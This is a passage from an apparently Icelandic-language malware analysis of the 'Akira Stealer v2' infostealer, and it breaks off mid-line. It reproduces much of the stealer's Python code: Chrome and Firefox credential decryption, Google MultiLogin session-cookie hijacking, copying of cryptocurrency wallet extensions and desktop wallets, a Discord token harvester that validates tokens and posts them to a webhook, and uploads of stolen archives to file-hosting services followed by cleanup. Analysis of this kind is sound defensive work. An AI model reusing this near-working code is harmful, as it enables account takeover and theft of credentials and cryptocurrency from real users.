1) DPAPI fallback for non-AES-GCM blobs\n",[1712,7272,7273],{"class":1714,"line":5085},[1712,7274,7275],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1712,7277,7278],{"class":1714,"line":5091},[1712,7279,7280],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1712,7282,7283],{"class":1714,"line":5097},[1712,7284,7285],{},"        return CryptUnprotectData(buffer)\n",[1712,7287,7288],{"class":1714,"line":5103},[1712,7289,3878],{"emptyLinePlaceholder":325},[1712,7291,7292],{"class":1714,"line":5109},[1712,7293,7294],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1712,7296,7297],{"class":1714,"line":5115},[1712,7298,7299],{},"    # Bytes layout:\n",[1712,7301,7302],{"class":1714,"line":5121},[1712,7303,7304],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1712,7306,7307],{"class":1714,"line":5127},[1712,7308,7309],{},"    # [3:15]   = initialization vector (IV)\n",[1712,7311,7312],{"class":1714,"line":5133},[1712,7313,7314],{},"    # [15:-16] = ciphertext payload\n",[1712,7316,7317],{"class":1714,"line":5800},[1712,7318,7319],{},"    # [-16:]   = GCM authentication tag\n",[1712,7321,7322],{"class":1714,"line":5805},[1712,7323,7324],{},"    iv = buffer[3:15]\n",[1712,7326,7327],{"class":1714,"line":5810},[1712,7328,7329],{},"    ciphertext = buffer[15:-16]\n",[1712,7331,7332],{"class":1714,"line":5815},[1712,7333,7334],{},"    tag = buffer[-16:]\n",[1712,7336,7337],{"class":1714,"line":5821},[1712,7338,3878],{"emptyLinePlaceholder":325},[1712,7340,7341],{"class":1714,"line":5826},[1712,7342,7343],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1712,7345,7346],{"class":1714,"line":5831},[1712,7347,7348],{},"    cipher = Cipher(\n",[1712,7350,7351],{"class":1714,"line":5836},[1712,7352,7353],{},"        algorithms.AES(key),\n",[1712,7355,7356],{"class":1714,"line":5841},[1712,7357,7358],{},"        modes.GCM(iv, tag),\n",[1712,7360,7361],{"class":1714,"line":5846},[1712,7362,7363],{},"        backend=default_backend()\n",[1712,7365,7366],{"class":1714,"line":5851},[1712,7367,5980],{},[1712,7369,7370],{"class":1714,"line":5857},[1712,7371,7372],{},"    decryptor = cipher.decryptor()\n",[1712,7374,7375],{"class":1714,"line":5863},[1712,7376,3878],{"emptyLinePlaceholder":325},[1712,7378,7379],{"class":1714,"line":5869},[1712,7380,7381],{},"    # Perform decryption; raises if authentication fails\n",[1712,7383,7384],{"class":1714,"line":5874},[1712,7385,7386],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1712,7388,7389],{"class":1714,"line":5879},[1712,7390,3878],{"emptyLinePlaceholder":325},[1712,7392,7393],{"class":1714,"line":5884},[1712,7394,7395],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1712,7397,7398],{"class":1714,"line":5889},[1712,7399,7400],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[740,7402,7404],{"id":7403},"_76-yfirtaka-setutokens","7.6 Yfirtaka setutokens",[525,7406,746],{},[525,7408,7409,7410,7413],{},"Akira lætur ekki staðar numið við óvirka gagnasöfnun, það yfirtekur með virkum hætti lifandi setutokens til að þykjast vera fórnarlömbin í rauntíma. Eftir að hafa dregið dulkóðuð tokens úr geymslu browsersins endurgerir það þann authorization-haus sem þarf og endurspilar ",[567,7411,7412],{},"MultiLogin","-beiðni gegn OAuth-endapunkti Google. Kóðabrotið hér fyrir neðan sýnir ferlið:",[615,7415,7417],{"className":4516,"code":7416,"language":4518,"meta":529,"style":529},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[578,7418,7419,7424,7429,7434,7439,7444,7449,7454,7459,7464,7468,7473,7478,7483,7488,7493,7497,7502,7507],{"__ignoreMap":529},[1712,7420,7421],{"class":1714,"line":1715},[1712,7422,7423],{},"# Build SAPISIDHASH header for Google services\n",[1712,7425,7426],{"class":1714,"line":530},[1712,7427,7428],{},"origin = \"https://accounts.google.com\"\n",[1712,7430,7431],{"class":1714,"line":2096},[1712,7432,7433],{},"timestamp = int(time.time())\n",[1712,7435,7436],{"class":1714,"line":2102},[1712,7437,7438],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1712,7440,7441],{"class":1714,"line":2424},[1712,7442,7443],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1712,7445,7446],{"class":1714,"line":2430},[1712,7447,7448],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1712,7450,7451],{"class":1714,"line":3086},[1712,7452,7453],{},"headers = {\n",[1712,7455,7456],{"class":1714,"line":3881},[1712,7457,7458],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1712,7460,7461],{"class":1714,"line":3887},[1712,7462,7463],{},"    \"Content-Type\": \"application/json\"\n",[1712,7465,7466],{"class":1714,"line":4132},[1712,7467,2433],{},[1712,7469,7470],{"class":1714,"line":5049},[1712,7471,7472],{},"# Replay MultiLogin to fetch valid session cookies\n",[1712,7474,7475],{"class":1714,"line":5055},[1712,7476,7477],{},"response = requests.post(\n",[1712,7479,7480],{"class":1714,"line":5061},[1712,7481,7482],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1712,7484,7485],{"class":1714,"line":5067},[1712,7486,7487],{},"    headers=headers,\n",[1712,7489,7490],{"class":1714,"line":5073},[1712,7491,7492],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1712,7494,7495],{"class":1714,"line":5079},[1712,7496,5268],{},[1712,7498,7499],{"class":1714,"line":5085},[1712,7500,7501],{},"if response.status_code == 200:\n",[1712,7503,7504],{"class":1714,"line":5091},[1712,7505,7506],{},"    # Victim’s cookies now present in response.cookies\n",[1712,7508,7509],{"class":1714,"line":5097},[1712,7510,7511],{},"    hijacked_cookies = response.cookies\n",[525,7513,7514],{},"Með því að endurspila þessa beiðni getur Akira þykjast vera notandinn í Gmail, Drive eða hverri annarri Google-þjónustu sem varin er af gildri setu, án þess að þurfa nokkur credentials. Þessi tækni nýtir rökvísi Google sjálfs um viðurkenningu tokens, sem gerir hana nánast ógreinanlega frá hegðun lögmæts klients.",[740,7516,7518],{"id":7517},"_77-afkóðun-firefox","7.7 Afkóðun Firefox",[525,7520,746],{},[525,7522,7523,7524,7527],{},"Gecko‑byggðir browsers eins og Firefox dulkóða vistuð credentials og cookies með meginlykli sem geymdur er í ",[578,7525,7526],{},"key4.db",". Akira hefur einfaldaða afkóðunarrútínu sem speglar NSS-rökvísi Mozilla og tekur á bæði 3DES- og AES‑CBC-afbrigðum án þess að kveikja á kvaðningu um meginlykilorð. Dæmi um notkun:",[615,7529,7531],{"className":4516,"code":7530,"language":4518,"meta":529,"style":529},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[578,7532,7533,7538,7543,7548,7553,7558,7562,7567,7572,7577,7582,7587,7592,7597,7602,7607,7612,7616],{"__ignoreMap":529},[1712,7534,7535],{"class":1714,"line":1715},[1712,7536,7537],{},"# Load global Salt and encrypted item from key4.db\n",[1712,7539,7540],{"class":1714,"line":530},[1712,7541,7542],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1712,7544,7545],{"class":1714,"line":2096},[1712,7546,7547],{},"cursor = db.cursor()\n",[1712,7549,7550],{"class":1714,"line":2102},[1712,7551,7552],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1712,7554,7555],{"class":1714,"line":2424},[1712,7556,7557],{},"global_salt, item2 = cursor.fetchone()\n",[1712,7559,7560],{"class":1714,"line":2430},[1712,7561,3878],{"emptyLinePlaceholder":325},[1712,7563,7564],{"class":1714,"line":3086},[1712,7565,7566],{},"# Decode DER structure and derive key\n",[1712,7568,7569],{"class":1714,"line":3881},[1712,7570,7571],{},"decoded, _ = der_decode(item2)\n",[1712,7573,7574],{"class":1714,"line":3887},[1712,7575,7576],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1712,7578,7579],{"class":1714,"line":4132},[1712,7580,7581],{},"cipher_text = decoded[1].asOctets()\n",[1712,7583,7584],{"class":1714,"line":5049},[1712,7585,7586],{},"# Derive 3DES key\n",[1712,7588,7589],{"class":1714,"line":5055},[1712,7590,7591],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1712,7593,7594],{"class":1714,"line":5061},[1712,7595,7596],{},"iv = decoded[0][1][1].asOctets()\n",[1712,7598,7599],{"class":1714,"line":5067},[1712,7600,7601],{},"# Decrypt credentials\n",[1712,7603,7604],{"class":1714,"line":5073},[1712,7605,7606],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1712,7608,7609],{"class":1714,"line":5079},[1712,7610,7611],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1712,7613,7614],{"class":1714,"line":5085},[1712,7615,3878],{"emptyLinePlaceholder":325},[1712,7617,7618],{"class":1714,"line":5091},[1712,7619,7620],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[525,7622,7623,7624,646,7626,585,7628,7630],{},"Með þessari rútínu getur Akira dumpað ",[578,7625,7022],{},[578,7627,7025],{},[578,7629,7028],{}," fyrir hvern Firefox-prófíl með gagnsæjum hætti og skrifað afkóðaða úttakið í:",[615,7632,7635],{"className":7633,"code":7634,"language":620},[618],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[578,7636,7634],{"__ignoreMap":529},[525,7638,7639],{},"Þessi aðferð fer fram hjá athugunum á meginlykilorði á notandastigi og gefur stealernum óhindraðan aðgang að öllum vistuðum credentials.*",[525,7641,7642],{},[567,7643,7644],{},"4. Skráauppbygging og nafngiftir",[615,7646,7649],{"className":7647,"code":7648,"language":620,"meta":529},[618],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[578,7650,7648],{"__ignoreMap":529},[630,7652,7653,7667,7673],{},[633,7654,7655,7656,7659,7660,7663,7664,2073],{},"Hver ",[578,7657,7658],{},".txt","-skrá byrjar á samræmdum haus (",[578,7661,7662],{},"\u003C================[Akira Stealer v2]>================>",") og skiljulínu (",[578,7665,7666],{},"====…====",[633,7668,7669,7670,613],{},"ZIP á diski: ",[578,7671,7672],{},"%TEMP%\\\u003CComputerName>.zip",[633,7674,7675,7676,613],{},"Skráarheiti hjá C&C: ",[578,7677,7678],{},"Akira-\u003Cusername>.zip",[525,7680,7681],{},[567,7682,7683],{},"5. Exfiltration og tiltekt",[615,7685,7687],{"className":4516,"code":7686,"language":4518,"meta":529,"style":529},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[578,7688,7689,7694,7699,7704,7709],{"__ignoreMap":529},[1712,7690,7691],{"class":1714,"line":1715},[1712,7692,7693],{},"url = Webhook.uploadToGofile(zip_path)\n",[1712,7695,7696],{"class":1714,"line":530},[1712,7697,7698],{},"if not url:\n",[1712,7700,7701],{"class":1714,"line":2096},[1712,7702,7703],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1712,7705,7706],{"class":1714,"line":2102},[1712,7707,7708],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1712,7710,7711],{"class":1714,"line":2424},[1712,7712,7713],{},"Utils.clear_client_folder()\n",[630,7715,7716,7726,7740,7757],{},[633,7717,7718,7721,7722,7725],{},[567,7719,7720],{},"Aðalrás (GoFile.io):"," malware-ið reynir fyrst að hlaða ZIP-safnskránni með öllum stolnum artifacts upp á GoFile.io og les úr JSON-svarinu ",[578,7723,7724],{},"downloadPage","-URL sem gefur árásaraðilanum beinan aðgang að safnskránni.",[633,7727,7728,7731,7732,7735,7736,7739],{},[567,7729,7730],{},"Sjálfvirkar varaleiðir:"," bregðist GoFile-endapunkturinn (tímamörk á neti, hraðamörk og fleira) fellur kóðinn snurðulaust yfir á ",[578,7733,7734],{},"file.io",", og skili það líka tómum hlekk þá loks á ",[578,7737,7738],{},"oshi.at",". Bæði afbrigðin eru kölluð án þess að undantekningar séu kastaðar, sem tryggir að ein af þessum þrem þjónustum verður alltaf reynd í röð.",[633,7741,7742,7745,7746,7749,7750,646,7753,7756],{},[567,7743,7744],{},"Webhook-tilkynningar:"," þegar URL (eða tómur strengur ef allt bregst) hefur verið ákvarðað er kallað á ",[578,7747,7748],{},"Webhook.sendDataTG(...)",", sem pakkar niðurhalshlekknum, auðkennum vélarinnar (",[578,7751,7752],{},"chatId",[578,7754,7755],{},"startup","-flagg) og öllum flokkatölum (lykilorðum, cookies, sjálfvirkum útfyllingum, veskjum) saman í eitt Discord- eða Telegram-skeyti.",[633,7758,7759,7762,7763,7766],{},[567,7760,7761],{},"Tafarlaus tiltekt:"," eftir tilkynninguna eyðir ",[578,7764,7765],{},"Utils.clear_client_folder()"," endurkvæmt öllu tímabundna vinnusvæðinu og ZIP-skránni sjálfri, og skilur engin spor eftir á diski um söfnuðu gögnin eða safnskrána.",[847,7768,7769,7774],{},[525,7770,7771],{},[567,7772,7773],{},"Þol gegn bilunum:",[630,7775,7776,7783],{},[633,7777,7778,7779,7782],{},"Allar upphalsrútínur skila ",[578,7780,7781],{},"\"\""," þegar þær bregðast í stað þess að kasta, sem tryggir að kóðaflæðið haldi áfram.",[633,7784,7785],{},"Jafnvel þótt engin þjónusta sé aðgengileg sendir malware-ið samt webhook-skýrslu (þótt hlekkinn vanti) áður en það eyðir staðbundnum artifacts, sem lágmarkar forensic-leifar nema ferlið hrynji óvænt.",[853,7787],{"className":7788},[856,857],[525,7790,7791],{},[567,7792,7793],{},"6. Þol og meðhöndlun villna",[630,7795,7796,7814,7820,7829],{},[633,7797,7798,7801,7802,7805,7806,7809,7810,7813],{},[567,7799,7800],{},"Fínkornótt meðhöndlun undantekninga:"," hver samskipti við skráakerfið, hvort sem það er ",[578,7803,7804],{},"shutil.copy",", SQLite-fyrirspurnir eða ZIP-aðgerðir, er pakkað í ",[578,7807,7808],{},"try/except","-blokkir. Þegar villa kemur upp (læstur gagnagrunnur, aðgangi hafnað, gölluð færsla) er undantekningin veidd og loggast með ",[578,7811,7812],{},"Akira.logErrorTg()",", og keyrslan heldur áfram, sem einangrar bilunina við þá tilteknu skrá eða einingu.",[633,7815,7816,7819],{},[567,7817,7818],{},"Þráðaeinangrun fyrir hvern browser:"," útdráttarrútínurnar fyrir hvern studdan browser keyra í sínum eigin þræði. Þessi fjölþráðahönnun tryggir að hrun eða frost í útdrætti eins browsers (t.d. skemmdur prófíll, lykill sem vantar) stöðvi eða seinki ekki greiningu annarra browsers.",[633,7821,7822,7825,7826,7828],{},[567,7823,7824],{},"Hljóðlátar varaleiðir og sjálfgefin gildi:"," margar hjálparrútínur, svo sem upphal á aðra skráahýsingu, athugun á fjartengdum tilföngum eða ræsing undirferla, notar hreiðrað ",[578,7827,7808],{}," án nokkurra viðvarana á yfirborðinu, sem hámarkar ósýnileika. Sjálfgefin gildi (tómir strengir, bólsk gildi) eru valin til að halda flæðinu órofnu og fjarlægja augljósar villustöður.",[633,7830,7831,7834,7835,7838,7839,7842],{},[567,7832,7833],{},"Mutex- og startup-verðir:"," nefndur mutex (",[578,7836,7837],{},"1qsMlseJplTlArIF14f",") hindrar mörg samtímis tilvik, en registry-athuganir og ",[578,7840,7841],{},"Utils.CreateMutex()"," verja gegn samhliða keyrslum og gefa aukinn stöðugleika í raunverulegri dreifingu.",[740,7844,7846],{"id":7845},"_78-exfiltration-veskja-og-tokens","7.8 Exfiltration veskja og tokens",[525,7848,746],{},[525,7850,7851],{},"Í þessum fasa framkvæmir Akira Stealer v2 heildstæðustu sópunina að credentials fyrir kryptógjaldmiðla og setutokens, sem nær yfir browser extensions, skjáborðsveski, skilaboðatokens og lifandi keylogging. Það keyrir í samhliða þráðum, sem tryggir að engin leið verði útundan. Hér fyrir neðan er skref-fyrir-skref djúpköfun með kóðatilvísunum.",[888,7853,7855],{"id":7854},"_781-veski-í-browser-extensions","7.8.1 Veski í browser extensions",[525,7857,894],{},[525,7859,7860,7863],{},[567,7861,7862],{},"Skotmörk:"," yfir 80 extensions þvert á vinsæla browsers, þar á meðal MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og fleiri.",[615,7865,7867],{"className":4516,"code":7866,"language":4518,"meta":529,"style":529},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[578,7868,7869,7874,7879,7884,7889,7894,7899,7904,7909,7914,7919,7924,7929,7934,7939,7944,7949,7954,7959,7964,7969,7974,7979],{"__ignoreMap":529},[1712,7870,7871],{"class":1714,"line":1715},[1712,7872,7873],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1712,7875,7876],{"class":1714,"line":530},[1712,7877,7878],{},"walletsExtensions = [\n",[1712,7880,7881],{"class":1714,"line":2096},[1712,7882,7883],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1712,7885,7886],{"class":1714,"line":2102},[1712,7887,7888],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1712,7890,7891],{"class":1714,"line":2424},[1712,7892,7893],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1712,7895,7896],{"class":1714,"line":2430},[1712,7897,7898],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1712,7900,7901],{"class":1714,"line":3086},[1712,7902,7903],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1712,7905,7906],{"class":1714,"line":3881},[1712,7907,7908],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1712,7910,7911],{"class":1714,"line":3887},[1712,7912,7913],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1712,7915,7916],{"class":1714,"line":4132},[1712,7917,7918],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1712,7920,7921],{"class":1714,"line":5049},[1712,7922,7923],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1712,7925,7926],{"class":1714,"line":5055},[1712,7927,7928],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1712,7930,7931],{"class":1714,"line":5061},[1712,7932,7933],{},"    # ... plus dozens more mapped in code\n",[1712,7935,7936],{"class":1714,"line":5067},[1712,7937,7938],{},"]\n",[1712,7940,7941],{"class":1714,"line":5073},[1712,7942,7943],{},"# Extraction loop for each browser profile\n",[1712,7945,7946],{"class":1714,"line":5079},[1712,7947,7948],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1712,7950,7951],{"class":1714,"line":5085},[1712,7952,7953],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1712,7955,7956],{"class":1714,"line":5091},[1712,7957,7958],{},"    for ext_name, ext_id in walletsExtensions:\n",[1712,7960,7961],{"class":1714,"line":5097},[1712,7962,7963],{},"        src = os.path.join(base, ext_id)\n",[1712,7965,7966],{"class":1714,"line":5103},[1712,7967,7968],{},"        if os.path.isdir(src):\n",[1712,7970,7971],{"class":1714,"line":5109},[1712,7972,7973],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1712,7975,7976],{"class":1714,"line":5115},[1712,7977,7978],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1712,7980,7981],{"class":1714,"line":5121},[1712,7982,7983],{},"            data.ext_wallets_count += 1\n",[630,7985,7986,7992],{},[633,7987,7988,7991],{},[567,7989,7990],{},"Skrár sem eru afritaðar",": IndexedDB, LevelDB, JSON- og uppsetningarskrár sem eru sértækar fyrir hvert extension og innihalda dulkóðaða lykla, seed-frasa og innskráningar-credentials.",[633,7993,7994,998,7997,646,8000,8003],{},[567,7995,7996],{},"Úttaksmappa",[578,7998,7999],{},"Wallets/MetaMask_Chrome/",[578,8001,8002],{},"Wallets/Phantom_Edge/"," og fleiri.",[888,8005,8007],{"id":8006},"_782-skjáborðsveskjaforrit","7.8.2 Skjáborðsveskjaforrit",[525,8009,894],{},[525,8011,8012,8014],{},[567,8013,7862],{}," helstu skjáborðsklientar eins og Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi og fleiri.",[615,8016,8018],{"className":4516,"code":8017,"language":4518,"meta":529,"style":529},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[578,8019,8020,8025,8030,8035,8040,8045,8050,8055,8059,8064,8069,8074,8079,8084],{"__ignoreMap":529},[1712,8021,8022],{"class":1714,"line":1715},[1712,8023,8024],{},"walletsDesktop = [\n",[1712,8026,8027],{"class":1714,"line":530},[1712,8028,8029],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1712,8031,8032],{"class":1714,"line":2096},[1712,8033,8034],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1712,8036,8037],{"class":1714,"line":2102},[1712,8038,8039],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1712,8041,8042],{"class":1714,"line":2424},[1712,8043,8044],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1712,8046,8047],{"class":1714,"line":2430},[1712,8048,8049],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1712,8051,8052],{"class":1714,"line":3086},[1712,8053,8054],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1712,8056,8057],{"class":1714,"line":3881},[1712,8058,7938],{},[1712,8060,8061],{"class":1714,"line":3887},[1712,8062,8063],{},"for name, path in walletsDesktop:\n",[1712,8065,8066],{"class":1714,"line":4132},[1712,8067,8068],{},"    if os.path.isdir(path):\n",[1712,8070,8071],{"class":1714,"line":5049},[1712,8072,8073],{},"        Utils.TaskKill(name.lower())\n",[1712,8075,8076],{"class":1714,"line":5055},[1712,8077,8078],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1712,8080,8081],{"class":1714,"line":5061},[1712,8082,8083],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1712,8085,8086],{"class":1714,"line":5067},[1712,8087,8088],{},"        data.desktop_wallets_count += 1\n",[630,8090,8091,8104],{},[633,8092,8093,8096,8097,646,8100,8103],{},[567,8094,8095],{},"Gögn sem eru stolin",": keystore-skrár (",[578,8098,8099],{},"*.dat",[578,8101,8102],{},"*.json","), útflutt einkalyklar, uppsetning veskja og færsluferill.",[633,8105,8106,8109],{},[567,8107,8108],{},"Gagnsemi",": innihald veskja utan nets sem árásaraðilinn getur notað til að heimila færslur.",[888,8111,8113],{"id":8112},"_783-söfnun-discord-tokens","7.8.3 Söfnun Discord-tokens",[525,8115,894],{},[525,8117,8118],{},"Discord-tokens eru sannvottunar-artifacts, í raun langlíf bearer-tokens, sem geta veitt fullan aðgang að reikningi notanda án þess að þurfa credentials hans eða MFA. Akira nýtir þetta og skannar gagnamöppur browsers og forrita að tokens sem ýmsir Discord-klientar vista, þar á meðal Discord Stable, Canary, PTB (Public Test Build) og jafnvel breyttar afleiður eins og Lightcord.",[525,8120,8121],{},"Aðferðin beinist að LevelDB-skrám undir Local Storage forritsins, þar sem sannvottunartokens liggja oft í plaintext. Með reglulegum segðum skannar malware-ið þessar .log- og .ldb-skrár að mynstrum sem passa við venjuleg notandatokens eða tokens með MFA.",[525,8123,8124],{},"Til að auka áreiðanleika og draga úr klið hefur Akira staðfestingarskref: það sendir prófbeiðni á /users/@me-endapunkt Discord með hverju söfnuðu tokeni. Aðeins tokens sem sannvottast með árangri (HTTP 200) eru exfiltreruð með webhook, yfirleitt á Discord-rás undir stjórn árásaraðilans.",[525,8126,8127],{},"Þessi aðferð gerir árásaraðilum kleift að yfirtaka Discord-reikninga í rauntíma, þykjast vera fórnarlambið, sópa upp einkaskeytum og servera eða dreifa frekara malware með félagslegri hönnun, allt án þess að kveikja á innskráningarviðvörunum.",[615,8129,8131],{"className":4516,"code":8130,"language":4518,"meta":529,"style":529},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, 